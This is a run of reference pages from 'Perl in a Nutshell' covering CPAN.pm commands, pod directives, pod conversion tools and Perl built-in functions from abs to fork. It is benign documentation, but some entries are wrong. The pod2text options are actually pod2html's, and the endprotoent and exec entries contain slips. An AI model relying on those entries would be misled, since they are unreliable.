Previous: Reference: readme | Perl in a Nutshell | Next: Reference: reload
Reference: readme | Book Index | Reference: reload


Reference: reload

Perl in a Nutshell

Perl in a NutshellSearch this book

reload

reload arg

Reloads index files or re-evals CPAN.pm itself. arg may be:

cpan

Re-eval CPAN.pm.

index

Reload index of files.

Previous: Reference: recompile | Perl in a Nutshell | Next: Reference: test
Reference: recompile | Book Index | Reference: test


Reference: test

Perl in a Nutshell

Perl in a NutshellSearch this book

test

test

Runs the make test command.

Previous: Reference: reload | Perl in a Nutshell | Next: Reference: u
Reference: reload | Book Index | Reference: u


Reference: u

Perl in a Nutshell

Perl in a NutshellSearch this book

u

u

Lists all uninstalled distributions.

Previous: Reference: test | Perl in a Nutshell | Next: 2.4 Getting and Installing Modules
Reference: test | Book Index | 2.4 Getting and Installing Modules


Reference: =back

Perl in a Nutshell

Perl in a NutshellSearch this book

=back

=back

Moves left margin back to where it was before the last =over. Ends the innermost =over/=back block of indented text. If there are multiple levels of indent, one =back is needed for each level.

Previous: 4.11 Pod | Perl in a Nutshell | Next: Reference: =begin
4.11 Pod | Book Index | Reference: =begin


Reference: =begin

Perl in a Nutshell

Perl in a NutshellSearch this book

=begin

=begin format

Starts a block of text that is to be passed directly to a particular formatter rather than being treated as pod. For example:

=begin html
A =begin/=end block is like =for except that it doesn't necessarily apply to a single paragraph.

Previous: Reference: =back | Perl in a Nutshell | Next: Reference: =cut
Reference: =back | Book Index | Reference: =cut


Reference: =cut

Perl in a Nutshell

Perl in a NutshellSearch this book

=cut

=cut

Indicates the end of pod text. Tells the compiler that there isn't any more pod (for now) and to start compiling again.

Previous: Reference: =begin | Perl in a Nutshell | Next: Reference: =end
Reference: =begin | Book Index | Reference: =end


Reference: =end

Perl in a Nutshell

Perl in a NutshellSearch this book

=end

=end

Ends a =begin block. Tells the translator to treat what follows as pod again.

Previous: Reference: =cut | Perl in a Nutshell | Next: Reference: =for
Reference: =cut | Book Index | Reference: =for


Reference: =for

Perl in a Nutshell

Perl in a NutshellSearch this book

=for

=for format

Indicates a format change, for the next paragraph only.

Previous: Reference: =end | Perl in a Nutshell | Next: Reference: =head1
Reference: =end | Book Index | Reference: =head1


Reference: =head1

Perl in a Nutshell

Perl in a NutshellSearch this book

=head1

=head1 text

text following the tag is formatted as a top-level heading. Generally all uppercase.

Previous: Reference: =for | Perl in a Nutshell | Next: Reference: =head2
Reference: =for | Book Index | Reference: =head2


Reference: =head2

Perl in a Nutshell

Perl in a NutshellSearch this book

=head2

=head2 text

text following the tag is formatted as a second-level heading.

Previous: Reference: =head1 | Perl in a Nutshell | Next: Reference: =item
Reference: =head1 | Book Index | Reference: =item


Reference: =item

Perl in a Nutshell

Perl in a NutshellSearch this book

=item

=item text

Starts a list. Lists should always be inside an over/back block. Many translators use the value of text on the first =item to determine the type of list:

=item *

Bulleted list. An asterisk (*) is commonly used for the bullet, but can be replaced with any other single character. Followed by a blank line and then the text of the bulleted item:

=item *

This is the text of the bullet.

=item n

Numbered list. Replace n with 1 on the first item, 2 on the second, and so on - pod does not automatically generate the numbers.

=item text

Definition list. Formats text as the term and the following paragraph as the body of the list item. For example:

=item <HTML>

Indicates the beginning of an HTML file
The exact appearance of the output depends on what translator you use, but it will look pretty much like this:
<HTML>
    Indicates the beginning of an HTML file

Previous: Reference: =head2 | Perl in a Nutshell | Next: Reference: =over
Reference: =head2 | Book Index | Reference: =over


Reference: =over

Perl in a Nutshell

Perl in a NutshellSearch this book

=over

=over n

Specifies the beginning of a list, where n indicates the depth of the indent. For example, =over 4 will indent four spaces. Another =over before a =back creates nested lists. The =over tag should be followed by at least one =item.

Previous: Reference: =item | Perl in a Nutshell | Next: Reference: =pod
Reference: =item | Book Index | Reference: =pod


Reference: =pod

Perl in a Nutshell

Perl in a NutshellSearch this book

=pod

=pod

Indicates the beginning of pod text. A translator starts to pay attention when it sees this tag, and the compiler ignores everything from there to the next =cut.

Previous: Reference: =over | Perl in a Nutshell | Next: 4. The Perl Language
Reference: =over | Book Index | 4. The Perl Language


Reference: perldoc

Perl in a Nutshell

Perl in a NutshellSearch this book

perldoc

perldoc [options] docname

Formats and displays Perl pod documentation. Extracts the documentation from pod format and displays it. For all options except -f, docname is the name of the manpage, module, or program containing pod to be displayed. For -f, it's the name of a built-in Perl function to be displayed.

Options

-f function

Formats and displays documentation for the specified Perl function.

-h

Displays help message.

-l

Displays full path to the module.

-m

Displays entire module, both code and pod text, without formatting the pod.

-t

Displays using text formatter instead of nroff. Faster, but output is less fancy.

-u

Unformatted. Finds and displays the document without formatting it.

-v

Verbose. Describes search for the file, showing directories searched and where file was found.

perldoc applies switches found in the PERLDOC environment variable before those from the command line. It searches directories specified by the PERL5LIB, PERLLIB (if PERL5LIB isn't defined), and PATH environment variables.

Previous: 4.11 Pod | Perl in a Nutshell | Next: Reference: pod2fm
4.11 Pod | Book Index | Reference: pod2fm


Reference: pod2fm

Perl in a Nutshell

Perl in a NutshellSearch this book

pod2fm

pod2fm [options] file

Translates pod to FrameMaker format.

Options

-book [bookname]

If set, creates FrameMaker book file. If not specified, bookname defaults to perl; filename extension is .book in either case.

-[no]doc

Whether to convert a MIF-format .doc output file to binary FrameMaker format. Default is -doc.

-format type

Which format to copy from the template document specified with the -template option. Type can be a comma-separated list, and -format can also be specified more than once. Legal types are:

Type | Description
all | All types (the default)
Character | Character formats
Paragraph | Paragraph formats
Page | Master page layouts
Reference | Reference page layouts
Table | Table formats
Variables | Variable definitions
Math | Math definitions
Cross | Cross-reference definitions
Color | Color definitions
Conditional

Conditional text definitions

Break

Preserves page breaks; controls how the other types are used

Other

Preserves other format changes; controls how the other types are used

-[no]index

Whether to generate an index. Defaults to -noindex.

-[no]lock

Whether to lock file as read-only so you can use hypertext marker feature. Defaults to -nolock.

-[no]mmlonly

Whether to stop execution after generating the MML version of the file. Default is -nommlonly.

-[no]open

Whether to try to open the book after creating it; requires the -book option.

-template document

Specifies a template document for pod2fm to copy a format for use in formatting the output. document is the path to the template document.

-[no]toc

Whether to generate a table of contents. Defaults to -notoc.

Previous: Reference: perldoc | Perl in a Nutshell | Next: Reference: pod2html
Reference: perldoc | Book Index | Reference: pod2html


Reference: pod2html

Perl in a Nutshell

Perl in a NutshellSearch this book

pod2html

pod2html [options] inputfile

Translates files from pod to HTML format. Wrapper around the standard module Pod::Html; see Chapter 8 for the options, which are passed to Pod::Html as arguments.

Previous: Reference: pod2fm | Perl in a Nutshell | Next: Reference: pod2latex
Reference: pod2fm | Book Index | Reference: pod2latex


Reference: pod2latex

Perl in a Nutshell

Perl in a NutshellSearch this book

pod2latex

pod2latex inputfile

Translates files from pod to LaTeX format. Writes output to a file with .tex extension.

Previous: Reference: pod2html | Perl in a Nutshell | Next: Reference: pod2man
Reference: pod2html | Book Index | Reference: pod2man


Reference: pod2man

Perl in a Nutshell

Perl in a NutshellSearch this book

pod2man

pod2man [options] inputfile

Translates pod directives in file inputfile to Unix manpage format. Converts pod-tagged text to nroff source that can be viewed by the man command, or troff for typesetting.

Options

--center=string

Sets centered header to string. Defaults to "User Contributed Perl Documentation" unless -\-official flag is set, in which case it defaults to "Perl Programmers Reference Guide."

--date=string

Sets left-hand footer string to date.

--fixed=font

Specifies the fixed-width font to use for code examples.

--lax

If set, ignores missing sections.

--official

If set, uses default header as shown for -\-center above.

--release=rel

Sets centered footer. Defaults to current Perl release.

--section=manext

Sets manpage section for nroff .TH macro. Default is 3 (functions) if filename ends in .pm, otherwise 1 (user commands).

Previous: Reference: pod2latex | Perl in a Nutshell | Next: Reference: pod2text
Reference: pod2latex | Book Index | Reference: pod2text


Reference: pod2text

Perl in a Nutshell

Perl in a NutshellSearch this book

pod2text

pod2text < input

Translates pod to text and displays it. A wrapper around the Pod::Text module.

Options

--help

Displays help information

--htmlroot=name

Sets base URL for the HTML files to name.

--index

Generates index at top of the HTML file (default).

--infile=name

Converts pod file name. Default is to take input from STDIN.

--libpods=name:...:name

List of page names (e.g., "perlfunc") that contain linkable =items.

--outfile=name

Creates HTML file name. Default is to send output to STDOUT.

--podroot=name

Uses name as base directory for finding library pods.

--podpath=name:...:name

List of podroot subdirectories with pod files whose HTML-converted forms can be linked to in cross-references.

--netscape

Uses Netscape HTML directives when applicable.

--noindex

Does not generate index at top of the HTML file.

--nonetscape

Does not use Netscape HTML directives (default).

--norecurse

Does not recurse into subdirectories specified in podpath.

--recurse

Recurses into subdirectories specified in podpath (default).

--title=title

Specifies title for the resulting HTML file.

--verbose

Displays progress messages.

Previous: Reference: pod2man | Perl in a Nutshell | Next: 4. The Perl Language
Reference: pod2man | Book Index | 4. The Perl Language


Reference: abs

Perl in a Nutshell

Perl in a NutshellSearch this book

abs

abs value

Returns the absolute value of its argument (or $_ if omitted).

Previous: 5.2 Perl Functions in Alphabetical Order | Perl in a Nutshell | Next: Reference: accept
5.2 Perl Functions in Alphabetical Order | Book Index | Reference: accept


Reference: accept

Perl in a Nutshell

Perl in a NutshellSearch this book

accept

accept newsocket, genericsocket

Readies a server process to accept socket connections from clients. Execution is suspended until a connection is made, at which time the newsocket filehandle is opened and attached to the newly made connection. The function returns the connected address if the call succeeds, or returns false otherwise (and it puts the error code into $!). genericsocket must be a filehandle already opened via the socket function and bound to one of the server's network addresses.

Previous: Reference: abs | Perl in a Nutshell | Next: Reference: alarm
Reference: abs | Book Index | Reference: alarm


Reference: alarm

Perl in a Nutshell

Perl in a NutshellSearch this book

alarm

alarm n

Sends a SIGALRM signal to the executing Perl program after n seconds. On some older systems, alarms go off "at the top of the second," so, for instance, an alarm 1 may go off anywhere between 0 to 1 seconds from now, depending on when in the current second it is. An alarm 2 may go off anywhere from 1 to 2 seconds from now. And so on.

Each call disables the previous timer, and an argument of 0 may be supplied to cancel the previous timer without starting a new one. The return value is the number of seconds remaining on the previous timer.

Previous: Reference: accept | Perl in a Nutshell | Next: Reference: atan2
Reference: accept | Book Index | Reference: atan2


Reference: atan2

Perl in a Nutshell

Perl in a NutshellSearch this book

atan2

atan2 y, x

Returns the arctangent of y/x in the range - [pi] to [pi]. A quick way to get an approximate value of [pi] is to say:

$pi = atan2(1,1) * 4;
For the tangent operation, you may use the POSIX::tan() function, or use the familiar relation:
sub tan { sin($_[0]) / cos($_[0]) }

Previous: Reference: alarm | Perl in a Nutshell | Next: Reference: bind
Reference: alarm | Book Index | Reference: bind


Reference: bind

Perl in a Nutshell

Perl in a NutshellSearch this book

bind

bind socket, address

Attaches an address to an already opened socket specified by the socket filehandle. The function returns true for success, false otherwise (and puts the error code into $!). address should be a packed address of the proper type for the socket.

Previous: Reference: atan2 | Perl in a Nutshell | Next: Reference: binmode
Reference: atan2 | Book Index | Reference: binmode


Reference: binmode

Perl in a Nutshell

Perl in a NutshellSearch this book

binmode

binmode filehandle

Arranges for the file to be treated in binary mode on operating systems that distinguish between binary and text files. It should be called after open but before any I/O is done on the filehandle. The only way to reset binary mode on a filehandle is to reopen the file.

binmode has no effect under Unix, Plan9, or other systems that use a single \n (newline) character as a line delimiter. On systems such as Win32 or MS-DOS, binmode is needed to prevent the translation of the line delimiter characters to and from \n.

Previous: Reference: bind | Perl in a Nutshell | Next: Reference: bless
Reference: bind | Book Index | Reference: bless


Reference: bless

Perl in a Nutshell

Perl in a NutshellSearch this book

bless

bless $ref, [classname]

Looks up the item pointed to by reference ref and tells the item that it is now an object in the classname package - or the current package if no classname is specified. It returns the reference for convenience, since a bless is often the last thing in a constructor function. (Always use the two-argument version if the constructor doing the blessing might be inherited by a derived class. In such cases, the class you want to bless your object into will normally be found as the first argument to the constructor in question.)

Previous: Reference: binmode | Perl in a Nutshell | Next: Reference: caller
Reference: binmode | Book Index | Reference: caller


Reference: caller

Perl in a Nutshell

Perl in a NutshellSearch this book

caller

caller [n]

Returns information about the stack of current subroutine calls. Without an argument, it returns the package name in a scalar context, and in a list context, it returns the package name, filename, and line number that the currently executing subroutine was called from:

($package, $filename, $line) = caller;
With an argument it evaluates n as the number of stack frames to go back before the current one. It also reports some additional information that the debugger uses to print a stack trace:
$i = 0;
while (($pack, $file, $line, $subname, $hasargs,
        $wantarray, $evaltext, $is_require) = caller($i++)) {
    ...
}
Furthermore, when called from within the DB package, caller returns more detailed information: it sets the list variable @DB::args to be the argument passed in the given stack frame.

Previous: Reference: bless | Perl in a Nutshell | Next: Reference: chdir
Reference: bless | Book Index | Reference: chdir


Reference: chdir

Perl in a Nutshell

Perl in a NutshellSearch this book

chdir

chdir dirname

Changes the working directory to dirname, if possible. If dirname is omitted, it changes to the home directory. The function returns 1 upon success, 0 otherwise (and puts the error code into $!).

Previous: Reference: caller | Perl in a Nutshell | Next: Reference: chmod
Reference: caller | Book Index | Reference: chmod


Reference: chmod

Perl in a Nutshell

Perl in a NutshellSearch this book

chmod

chmod mode, filelist

Changes the permissions of a list of files. The first argument must be the permissions mode given in its octal number representation. The function returns the number of files successfully changed. For example:

$cnt = chmod 0755, 'file1', 'file2';
will set $cnt to 0, 1, or 2, depending on how many files got changed (in the sense that the operation succeeded, not in the sense that the bits were different afterward).

Previous: Reference: chdir | Perl in a Nutshell | Next: Reference: chomp
Reference: chdir | Book Index | Reference: chomp


Reference: chomp

Perl in a Nutshell

Perl in a NutshellSearch this book

chomp

chomp $var
chomp @list

Removes any line-ending characters of a string in $var, or each string in @list, that correspond to the current value of $/ (not just any last character, as chop does). chomp returns the number of characters deleted. If $/ is empty (in paragraph mode), chomp removes all newlines from the selected string (or strings, if chomping a list). If no argument is given, the function chomps the $_ variable.

Previous: Reference: chmod | Perl in a Nutshell | Next: Reference: chop
Reference: chmod | Book Index | Reference: chop


Reference: chop

Perl in a Nutshell

Perl in a NutshellSearch this book

chop

chop $var
chop @list

Chops off the last character of a string contained in the variable $var (or strings in each element of a @list) and returns the character chopped. The chop operator is used primarily to remove the newline from the end of an input record, but is more efficient than s/\n$//. If no argument is given, the function chops the $_ variable.

Previous: Reference: chomp | Perl in a Nutshell | Next: Reference: chown
Reference: chomp | Book Index | Reference: chown


Reference: chown

Perl in a Nutshell

Perl in a NutshellSearch this book

chown

chown uid, gid, files

Changes the owner and group of a list of files. The first two arguments must be the numerical uid and gid, in that order. The function returns the number of files successfully changed.

On most systems, you are not allowed to change the ownership of the file unless you're the superuser, although you should be able to change the group to any of your secondary groups. On insecure systems, these restrictions may be relaxed, but this is not a portable assumption.

Previous: Reference: chop | Perl in a Nutshell | Next: Reference: chr
Reference: chop | Book Index | Reference: chr


Reference: chr

Perl in a Nutshell

Perl in a NutshellSearch this book

chr

chr number

Returns the character represented by number in the character set. For example, chr(65) is "A" in ASCII.

Previous: Reference: chown | Perl in a Nutshell | Next: Reference: chroot
Reference: chown | Book Index | Reference: chroot


Reference: chroot

Perl in a Nutshell

Perl in a NutshellSearch this book

chroot

chroot dirname

Changes the root directory for the current process to dirname - the starting point for pathnames beginning with "/". This directory is inherited across exec calls and by all subprocesses. There is no way to undo a chroot. Only the superuser can use this function.

Previous: Reference: chr | Perl in a Nutshell | Next: Reference: close
Reference: chr | Book Index | Reference: close


Reference: close

Perl in a Nutshell

Perl in a NutshellSearch this book

close

close filehandle

Closes the file, socket, or pipe associated with the given filehandle. You don't have to close filehandle if you are immediately going to do another open on it, since the next open will close it for you. However, an explicit close on an input file resets the line counter ($.), while the implicit close done by open does not. Closing a pipe will wait for the process executing on the pipe to complete, and it prevents the script from exiting before the pipeline is finished. Closing a pipe explicitly also puts the status value of the command executing on the pipe into $?.

filehandle may be an expression whose value gives a real filehandle name. It may also be a reference to a filehandle object returned by some of the object-oriented I/O packages.

Previous: Reference: chroot | Perl in a Nutshell | Next: Reference: closedir
Reference: chroot | Book Index | Reference: closedir


Reference: closedir

Perl in a Nutshell

Perl in a NutshellSearch this book

closedir

closedir dirhandle

Closes a directory associated with the given directory handle opened by opendir.

Previous: Reference: close | Perl in a Nutshell | Next: Reference: connect
Reference: close | Book Index | Reference: connect


Reference: connect

Perl in a Nutshell

Perl in a NutshellSearch this book

connect

connect socket, address

Initiates a connection with another process that is waiting at an accept on the filehandle socket. The function returns true for success, false otherwise (and puts the error code into $!). address is a packed network address of the proper type for socket.

To disconnect a socket, use either close or shutdown.

Previous: Reference: closedir | Perl in a Nutshell | Next: Reference: cos
Reference: closedir | Book Index | Reference: cos


Reference: cos

Perl in a Nutshell

Perl in a NutshellSearch this book

cos

cos num

Returns the cosine of num (expressed in radians). For the inverse cosine operation, you may use the POSIX::acos() function, or use this relation:

sub acos { atan2( sqrt(1 - $_[0] * $_[0]), $_[0] ) }

Previous: Reference: connect | Perl in a Nutshell | Next: Reference: crypt
Reference: connect | Book Index | Reference: crypt


Reference: crypt

Perl in a Nutshell

Perl in a NutshellSearch this book

crypt

crypt string, salt

Used by the passwd function on Unix systems to produce a unique 13-character string (stored in the system's password file) from the first 8 characters of the given string and the 2-character salt. The Perl function operates the same way, and returns a 13-character string with the first 2 characters being the salt. crypt uses a modified version of the Data Encryption Standard, which produces a one-way encryption; the resulting string cannot be decrypted to determine the original string. crypt can be used to check that a password is correct by comparing the string from the function to the string found in /etc/passwd (if you have permission to do this):

if (crypt ($guess, $pass) eq $pass) {
       # guess is correct
   }
The variable $pass is the password string from the password file. crypt merely uses the first two characters from this string for the salt argument.

Previous: Reference: cos | Perl in a Nutshell | Next: Reference: dbmclose
Reference: cos | Book Index | Reference: dbmclose


Reference: dbmclose

Perl in a Nutshell

Perl in a NutshellSearch this book

dbmclose

dbmclose %hash

Breaks the binding between a DBM file and a hash.

This function is actually just a call to untie with the proper arguments, but is provided for backward compatibility with older versions of Perl.

Previous: Reference: crypt | Perl in a Nutshell | Next: Reference: dbmopen
Reference: crypt | Book Index | Reference: dbmopen


Reference: dbmopen

Perl in a Nutshell

Perl in a NutshellSearch this book

dbmopen

dbmopen %hash, dbname, mode

Binds a DBM file (dbname) to a hash (%hash). dbname is the name of the database without the .dir or .pag extension. If the database does not exist, and a valid mode is specified, the database is created with the permissions specified by mode (as modified by the umask). To prevent creation of the database if it doesn't exist, you may specify a mode of undef, and the function will return a false value if it can't find an existing database. If your system supports only the older DBM functions, you may have only one dbmopen in your program.

Values assigned to the hash prior to the dbmopen are not accessible. If you don't have write access to the DBM file, you can only read the hash variables, not set them.

This function is actually just a call to tie with the proper arguments, but is provided for backward compatibility with older versions of Perl.

Previous: Reference: dbmclose | Perl in a Nutshell | Next: Reference: defined
Reference: dbmclose | Book Index | Reference: defined


Reference: defined

Perl in a Nutshell

Perl in a NutshellSearch this book

defined

defined expr

Returns a Boolean value saying whether the scalar value resulting from expr has a real value or not. If no argument is given, defined checks $_.

A scalar that contains no valid string, numeric, or reference value is known as the undefined value, or undef for short. Many operations return the undefined value under exceptional conditions, such as end of file, uninitialized variable, system error, and such. This function allows you to distinguish between an undefined null string and a defined null string when you're using operators that might return a real null string.

You can use defined to see if a subroutine exists, that is, if the subroutine definition has been successfully parsed. However, using defined on an array or a hash is not guaranteed to produce intuitive results, and should be avoided.

Previous: Reference: dbmopen | Perl in a Nutshell | Next: Reference: delete
Reference: dbmopen | Book Index | Reference: delete


Reference: delete

Perl in a Nutshell

Perl in a NutshellSearch this book

delete

delete $hash{key}
delete @hash{@keys}

Deletes the specified key or keys and associated values from the specified hash. (It doesn't delete a file. See unlink for that.) Deleting from $ENV{} modifies the environment. Deleting from a hash that is bound to a (writable) DBM file deletes the entry from the DBM file.

For normal hashes, the delete function returns the value (not the key) that was deleted, but this behavior is not guaranteed for tied hashes, such as those bound to DBM files. To test whether a hash element has been deleted, use exists.

Previous: Reference: defined | Perl in a Nutshell | Next: Reference: die
Reference: defined | Book Index | Reference: die


Reference: die

Perl in a Nutshell

Perl in a NutshellSearch this book

die

die message

Prints message to the standard error output and exits the Perl program with a nonzero exit status. message can be a list value, like the arguments to print, from which the elements are concatenated into a single string for output. If message does not end with a newline (\n), the current script filename, line number, and input line number (if any) are appended to the message with a newline. With no argument, the function outputs the string Died as its default.

die exits the programs with the current value of the $! variable, which contains the text describing the most recent operating system error value. This value can be used in the message to describe what the problem may have been.

die behaves differently inside an eval statement. It places the error message in the $@ variable and aborts the eval, which returns an undefined value. This use of die can raise runtime exceptions that can be caught at a higher level of the program.

Previous: Reference: delete | Perl in a Nutshell | Next: Reference: do
Reference: delete | Book Index | Reference: do


Reference: do

Perl in a Nutshell

Perl in a NutshellSearch this book

do

do {block}

Executes the sequence of commands in the block and returns the value of the last expression evaluated. When modified by a loop modifier, Perl executes the block once before testing the loop condition. (On other statements, the loop modifiers test the conditional first.)

Previous: Reference: die | Perl in a Nutshell | Next: Reference: dump
Reference: die | Book Index | Reference: dump


Reference: dump

Perl in a Nutshell

Perl in a NutshellSearch this book

dump

dump label

During program execution, causes an immediate core dump after code previous to it has already been executed. Primarily, this is so that you can use the undump program to turn your core dump into an executable binary after having initialized all your variables at the beginning of the program. dump arranges for the revived binary, when run, to begin by executing a goto label (with all the restrictions that goto suffers). Think of the operation as a goto with an intervening core dump and reincarnation. If label is omitted, the function arranges for the program to restart from the top. Please note that any files opened at the time of the dump will not be open any more when the program is reincarnated. See also the -u command-line switch.

The undump program is not available on all systems, and may not be compatible with specific ports of Perl.

Previous: Reference: do | Perl in a Nutshell | Next: Reference: each
Reference: do | Book Index | Reference: each


Reference: each

Perl in a Nutshell

Perl in a NutshellSearch this book

each

each %hash

Returns a two-element list consisting of the key and value for the next element of a hash. With successive calls to each, you can iterate over the entire hash. Entries are returned in an indeterminate order. When the hash is entirely read, a null list is returned. The next call to each after that will start a new iteration. The iterator can be reset either by reading all the elements from the hash, or by calling the keys function in scalar context. You must not add elements to the hash while iterating over it, although you are permitted to use delete. In a scalar context, each returns just the key.

There is a single iterator for each hash, shared by all each, keys, and values function calls in the program. This means that after a keys or values call, the next each call will start again from the beginning.

Previous: Reference: dump | Perl in a Nutshell | Next: Reference: endgrent
Reference: dump | Book Index | Reference: endgrent


Reference: endgrent

Perl in a Nutshell

Perl in a NutshellSearch this book

endgrent

endgrent

Closes the groups file (usually /etc/group on Unix systems) if open. Not implemented on Win32 systems.

Previous: Reference: each | Perl in a Nutshell | Next: Reference: endhostent
Reference: each | Book Index | Reference: endhostent


Reference: endhostent

Perl in a Nutshell

Perl in a NutshellSearch this book

endhostent

endhostent

Closes the hosts file (usually /etc/hosts on Unix systems) if open. Not implemented on Win32 systems.

Previous: Reference: endgrent | Perl in a Nutshell | Next: Reference: endnetent
Reference: endgrent | Book Index | Reference: endnetent


Reference: endnetent

Perl in a Nutshell

Perl in a NutshellSearch this book

endnetent

endnetent

Closes the networks file (usually /etc/networks on Unix systems) if open. Not implemented on Win32 systems.

Previous: Reference: endhostent | Perl in a Nutshell | Next: Reference: endprotoent
Reference: endhostent | Book Index | Reference: endprotoent


Reference: endprotoent

Perl in a Nutshell

Perl in a NutshellSearch this book

endprotoent

endprotoent

Closes the prototypes file (usually /etc/prototypes on Unix systems) if open. Not implemented on Win32 systems.

Previous: Reference: endnetent | Perl in a Nutshell | Next: Reference: endpwent
Reference: endnetent | Book Index | Reference: endpwent


Reference: endpwent

Perl in a Nutshell

Perl in a NutshellSearch this book

endpwent

endpwent

Closes the password file (/etc/passwd or equivalent on Unix systems) if open. Not implemented on Win32 systems.

Previous: Reference: endprotoent | Perl in a Nutshell | Next: Reference: endservent
Reference: endprotoent | Book Index | Reference: endservent


Reference: endservent

Perl in a Nutshell

Perl in a NutshellSearch this book

endservent

endservent

Closes the services file (usually /etc/services on Unix systems) if open. Not implemented on Win32 systems.

Previous: Reference: endpwent | Perl in a Nutshell | Next: Reference: eof
Reference: endpwent | Book Index | Reference: eof


Reference: eof

Perl in a Nutshell

Perl in a NutshellSearch this book

eof

eof filehandle
eof()

Returns true if the next read on filehandle will return end-of-file, or if filehandle is not open. filehandle may be an expression whose value gives the real filehandle name. An eof without an argument returns the end-of-file status for the last file read. Empty parentheses () may be used in connection with the combined files listed on the command line. That is, inside a while (<>) loop, eof() will detect the end of only the last of a group of files. Use eof(ARGV) or eof (without the parentheses) to test each file in a while (<>) loop. For example, the following code inserts dashes just before the last line of the last file:

while (<>) {
    if (eof()) {
        print "-" x 30, "\n";
    }
    print;
}

Previous: Reference: endservent | Perl in a Nutshell | Next: Reference: eval
Reference: endservent | Book Index | Reference: eval


Reference: eval

Perl in a Nutshell

Perl in a NutshellSearch this book

eval

eval string
eval {block}

Evaluates the expression or code in its argument at runtime as a separate Perl program within the context of the larger script. Any variable settings remain afterward, as do any subroutine or format definitions. The code of the eval is treated as a block, so any locally scoped variables declared within the eval last only until the eval is done. (See also local and my.) The value returned from an eval is the value of the last expression evaluated. Like subroutines, you may also use the return function to return a value and exit the eval.

With eval string, the contents of string are compiled and executed at runtime. For example:

$a = 3, $b = 4;
$c = '$a * $b';
print (eval "$c"); # prints 12
The string form of eval is useful for executing strings produced at runtime from standard or other dynamic input sources. If the string produces an error, either from syntax or at runtime, the eval exits with the undefined value and places the error in $@. If string is omitted, the operator evaluates $_.

The block form of eval is used in Perl programs to handle runtime errors (exceptions). The code in block is compiled only once during the compilation of the main program. If there is a syntax error in the block it will produce an error at compile time. If the code in block produces a runtime error (or if a die statement is encountered), the eval exits, and the error is placed in $@. For example, the following code can be used to trap a divide-by-zero error at runtime:

eval {
      $a = 10; $b = 0;
      $c = $a / $b;     # causes runtime error
                        # trapped by eval
     };
print $@;               # Prints  "Illegal division by 0 at try.pl line 3"
As with any code in a block, a final semicolon is not required.

Previous: Reference: eof | Perl in a Nutshell | Next: Reference: exec
Reference: eof | Book Index | Reference: exec


Reference: exec

Perl in a Nutshell

Perl in a NutshellSearch this book

exec

exec command

Terminates the currently running Perl script and executes the program named in command. The Perl program does not resume after the exec unless the exec cannot be run and produces an error. Unlike system, the executed command is not forked off into a child process. An exec completely replaces the script in its current process.

command may be a scalar containing a string with the name of the program to run and any arguments. This string is checked for shell metacharacters, and if there are any, passes the string to /bin/sh/ -c for parsing. Otherwise, the string is read as a program command, bypassing any shell processing. The first word of the string is used as the program name, with any remaining words used as arguments.

command may also be a list value where the first element is parsed as the program name and remaining elements as arguments. For example:

exec 'echo', 'Your arguments are: ', @ARGV;
The exec function is not implemented for Perl on Win32 platforms.

Previous: Reference: eval | Perl in a Nutshell | Next: Reference: exists
Reference: eval | Book Index | Reference: exists


Reference: exists

Perl in a Nutshell

Perl in a NutshellSearch this book

exists

exists $hash{$key}

Returns true if the specified hash key exists, even if the corresponding value is undefined.

Previous: Reference: exec | Perl in a Nutshell | Next: Reference: exit
Reference: exec | Book Index | Reference: exit


Reference: exit

Perl in a Nutshell

Perl in a NutshellSearch this book

exit

exit status

Exits the current Perl process immediately with that value given by status. This could be the entire Perl script you are running, or only a child process created by fork. Here's a fragment that lets a user exit the program by typing x or X:

$ans = <STDIN>;
exit 0 if $ans =~ /^[Xx]/;
If status is omitted, the function exits with 0. You shouldn't use exit to abort a subroutine if there's any chance that someone might want to trap whatever error happened. Use die instead, which can be trapped by an eval.

Previous: Reference: exists | Perl in a Nutshell | Next: Reference: exp
Reference: exists | Book Index | Reference: exp


Reference: exp

Perl in a Nutshell

Perl in a NutshellSearch this book

exp

exp num

Returns e to the power of num. If num is omitted, it gives exp($_). To do general exponentiation, use the ** operator.

Previous: Reference: exit | Perl in a Nutshell | Next: Reference: fcntl
Reference: exit | Book Index | Reference: fcntl


Reference: fcntl

Perl in a Nutshell

Perl in a NutshellSearch this book

fcntl

fcntl filehandle, function, arg

Calls the file control function (with the function-specific arg) to use on the file or device opened with filehandle. fcntl calls Unix's fcntl function (not available on Win32 platforms). If the function is not implemented, the program exits with a fatal error. fcntl sets file descriptors for a filehandle. This built-in command is usable when you use the Fcntl module in the standard distribution:

use Fcntl;
This module imports the correct function definitions. See the description of the Fcntl module in Chapter 8, Standard Modules.

The return value of fcntl (and ioctl) is as follows:

System call returns | Perl returns
-1 | Undefined value
0 | String "0 but true"
Anything else | That number

Thus Perl returns true on success and false on failure, yet you can still easily determine the actual value returned by the operating system.

Previous: Reference: exp | Perl in a Nutshell | Next: Reference: fileno
Reference: exp | Book Index | Reference: fileno


Reference: fileno

Perl in a Nutshell

Perl in a NutshellSearch this book

fileno

fileno filehandle

Returns the file descriptor for a filehandle. (A file descriptor is a small integer, unlike the filehandle, which is a symbol.) It returns undef if the handle is not open. It's useful for constructing bitmaps for select, and for passing to certain obscure system calls if syscall is implemented. It's also useful for double-checking that the open function gave you the file descriptor you wanted.

Previous: Reference: fcntl | Perl in a Nutshell | Next: Reference: flock
Reference: fcntl | Book Index | Reference: flock


Reference: flock

Perl in a Nutshell

Perl in a NutshellSearch this book

flock

flock filehandle, operation

Establishes or removes a lock on a file opened with filehandle. This function calls one of the Unix functions flock, lockf, or the locking capabilities of fcntl, whichever your system supports. If none of these functions exist on your system, flock will produce a fatal error.

operation is the type of locking function to perform. The number by each operation name is the argument that Perl's flock takes by default. You may also use the operation names if you explicitly import them from the Fcntl module with use Fcntl ":flock".

LOCK_SH (1)

Establishes a shared lock on the file (read lock).

LOCK_EX (2)

Establishes an exclusive lock on the file (write lock).

LOCK_UN (8)

Removes a lock from the file.

LOCK_NB (4)

Prevents flock from blocking while trying to establish a lock with LOCK_SH or LOCK_EX and instructs it to return immediately. LOCK_NB must be ored with the other operation as an expression for the operation argument, i.e., (LOCK_EX | LOCK_NB).

Previous: Reference: fileno | Perl in a Nutshell | Next: Reference: fork
Reference: fileno | Book Index | Reference: fork


Reference: fork

Perl in a Nutshell

Perl in a NutshellSearch this book

fork

fork

